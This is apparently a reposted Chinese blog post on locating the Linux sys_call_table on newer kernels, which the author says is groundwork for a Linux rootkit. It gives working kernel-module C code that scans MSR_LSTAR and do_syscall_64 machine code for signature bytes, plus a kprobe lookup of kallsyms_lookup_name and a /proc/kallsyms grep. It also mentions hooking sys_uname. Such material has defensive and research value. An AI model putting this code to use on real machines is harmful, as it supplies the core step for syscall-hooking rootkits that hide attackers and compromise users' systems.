最近在搞 Linux Rootkit ,大部分方法获取sys_call_table地址都不适用于高版本内核,故重新分析一下获取方式。
系统调用表劫持一般性流程图:

第 1 步是迄今为止最困难的一步。
上图列举的获取sys_call_table地址的方式,已经不适用于目前高版本的Linux。
Linux从4.8开始加入了保护机制,每次开机sys_call_table的地址都会变化,与/boot/System.map中查到sys_call_table的地址不同。
下面分析介绍几种获取sys_call_table地址方式。
注:以下实验基于openEuler 20.03 LTS SP3 内核 4.19.90。
64位的使用特殊的sysenter/syscall指令。64位的处理器使用使用model-specific寄存器(MSR)来注册自己成为sysenter/syscall的处理例程。
处理例程system_call加载到LSTAR MSR中,而32位模拟则是加载到IA32_SYSENTER_EIP 和 CSTAR MSR,使用sidt来获得系统调用处理例程的地址。
因此,为了获得32位的处理例程,需要找到0x80的中断处理例程,而为了获得64位的系统调用处理例程,我们需要访问LSTAR MSR,通过指令获得system_call的地址。原本
低版本内核中获得了sys_call处理例程的地址之后,本地的调用处理例程命名为system_call,其中32位版本位于arch/x86/entry/entry_32.S,并且64-bit位的位于arch/x86/entry/entry_64.S中。其call指令后即为sys_call_table地址。
call *sys_call_table(,%rax,8)movq %rax,RAX-ARGOFFSET(%rsp)
而对于高版本的内核,发生了变化,需要重新分析。64位代码system_call代码:

调用do_syscall_64函数来实现系统调用

分析system_call函数的汇编代码,call前有一个mov %rsp, %rsi的指令,其机器码为89 e6,后面跟call指令机器码为e8,因此只需要搜索第一个连续的48 89 e6 e8,就可以找到这个call指令地址, 真正的do_syscall_64_addr地址 = call指令地址 + 0xff604268 + 0x4:

跟进do_syscal_64函数,mov eax, -0x7e1ffe00(,%rax,8),%rax 指令就是根据eax中系统调用号查找sys_call_table获取相应处理函数的地址,因为地址是8字节,sys_call_table每个表项就是8字节,系统调用号对应的地址就是sys_call_table首地址+8*系统调用号。

找到sys_call_table的地址也就是0xffffffff81e00200。

高版本通过MSR获取sys_call_table地址思路,首先获取do_syscall_64函数地址。
//get_lstar_sct_addr 用于获取 entry_SYSCALL_64 机器码中编码着 do_syscall_64 地址的特征字节在内存中的起始地址unsigned long get_lstar_do_syscall_64_addr(void){unsigned long lstar;unsigned long index;unsigned int *lstar_sct_addr = NULL;unsigned int *do_syscall_64_addr = NULL;unsigned long *real_sys_call_table = NULL;unsigned long *real_do_syscall_64_addr = NULL;u8 *offset;//从 MSR_LSTAR 里读出 entry_SYSCALL_64的地址rdmsrl(MSR_LSTAR, lstar);//开始搜索for (index = 0; index <= PAGE_SIZE; index += 1) {u8 *arr = (u8 *)lstar + index;//判断当前的位置的四个字节是否是特征字节。(48 89 e6 e8)if (arr[0] == 0x48 && arr[1] == 0x89 && arr[2] == 0xe6 && arr[3] == 0xe8) {//找到了特征字节,将 do_syscall_64 地址返回。offset = arr + 4;printk(KERN_ALERT "offset: %x\n", *(unsigned int *)offset);printk(KERN_ALERT "lstar: %x\n", (unsigned int *)lstar);//do_syscall_64_addr = call指令地址 + 0xff604268 + 0x4//call指令地址 = lstar + index + 0x4do_syscall_64_addr = lstar + index + 0x4 + 0x4 + *(unsigned int *)offset;printk(KERN_ALERT "do_syscall_64_addr: %x\n", do_syscall_64_addr);real_do_syscall_64_addr = (unsigned long *)get_real_addr(do_syscall_64_addr);printk(KERN_ALERT "real_do_syscall_64_addr: %lx\n", real_do_syscall_64_addr);lstar_sct_addr = get_sct_addr_by_do_syscall_64(real_do_syscall_64_addr);real_sys_call_table = (unsigned long *)get_real_addr(lstar_sct_addr);printk(KERN_ALERT "real_sys_call_table: %lx\n", real_sys_call_table);return real_sys_call_table;}}return NULL;}
遍历do_syscall_64函数,找到mov eax, -0x7e1ffe00(,%rax,8),%rax指令,获取sys_call_table地址。
//get_sct_addr_by_do_syscall_64 用于获取 do_syscall_64 机器码中编码着 sys_call_table 地址的特征字节在内存中的起始地址unsigned int *get_sct_addr_by_do_syscall_64(unsigned long do_syscall_64_addr){char *p = do_syscall_64_addr;unsigned int *lstar_sct_addr = NULL;unsigned long index;unsigned int i;for(i=0; i<100; i++){// mov %rbp,%rdi; mov eax, -0x7e1ffe00(,%rax,8),%raxif(p[i]=='\x89' && p[i+1]=='\xef' && p[i+2]=='\x48' && p[i+3]=='\x8b'){//mov %rbp,%rdi指令地址+6的值为lstar_sct_addr地址lstar_sct_addr = *(unsigned int*)(p+i+6);printk(KERN_ALERT "lstar_sct_addr: %lx\n", lstar_sct_addr);break;}}return lstar_sct_addr;
每次重启机器lstar的地址也会改变,最终获取的sys_call_table地址为:0xffffffff9e000200。
可以使用GDB跟踪一下,对比System.map中的sys_call_table地址。发现两者记录的sys_read低地址位一致。


sys_read功能一致。说明sys_call_table地址获取正确。

可以查看0xffffffff81e00000,可以确认System.map地址在rodata节区,不在text节区段,可以说明系统使用的sys_call_table地址不是System.map中记录的地址。

最后编写一个简单hook sys_uname函数的内核模块,测试hook效果。

2.通过kprobe获取sys_call_table
利用kprobe机制去获取sys_call_table地址。首先开启kprobe机制。因为Linux 高版本的kallsyms_lookup_name函数不再导出,所以可以利用kprobe,先找到kallsyms_lookup_name函数地址,再调用kallsyms_lookup_name后找到sys_call_table地址。
static unsigned long (*kallsyms_lookup_name_sym)(const char *name);unsigned long get_kallsyms_by_kprobe(void){int ret;unsigned long addr;static char symbol[MAX_SYMBOL_LEN] = "kallsyms_lookup_name";static struct kprobe kp = {.symbol_name = symbol,};ret = register_kprobe(&kp);if (ret < 0) {printk("register_kprobe failed, returned %d\n", ret);return ret;}addr = (unsigned long)kp.addr;printk("kallsyms_lookup_name: %lx\n", addr);unregister_kprobe(&kp);return addr;}unsigned long _kallsyms_lookup_name(const char *name){if (!kallsyms_lookup_name_sym) {kallsyms_lookup_name_sym = (void *)get_kallsyms_by_kprobe();if(!kallsyms_lookup_name_sym)return 0;}return kallsyms_lookup_name_sym(name);}static int kprobe_init(void){unsigned long *sys_call_table;printk("Tahir: module loaded\n");sys_call_table = (unsigned long *)_kallsyms_lookup_name("sys_call_table");printk("sys_call_table: %lx\n", sys_call_table);return 0}static void kprobe_exit(void){printk("Tahir: module removed\n");}module_init(kprobe_init)module_exit(kprobe_exit)MODULE_LICENSE("GPL");
成功获取sys_call_table且与MSR寄存器方式获取的地址一致。


3.通过/proc/kallsyms
不解释,最简单的方式。
cat/proc/kallsyms | grep sys_call_table

reference
https://blog.csdn.net/qq_41208289/article/details/106013258
https://github.com/chipsec/chipsec/issues/1154
https://www.kernel.org/doc/html/latest/trace/kprobes.html
https://elixir.bootlin.com/linux/v3.10
https://www.kernel.org/doc/htmldocs/kernel-api/index.html
https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html
https://en.wikipedia.org/wiki/Control_register#CR0
https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table
原文作者:TahirSec;如有侵权,请联系管理员删除。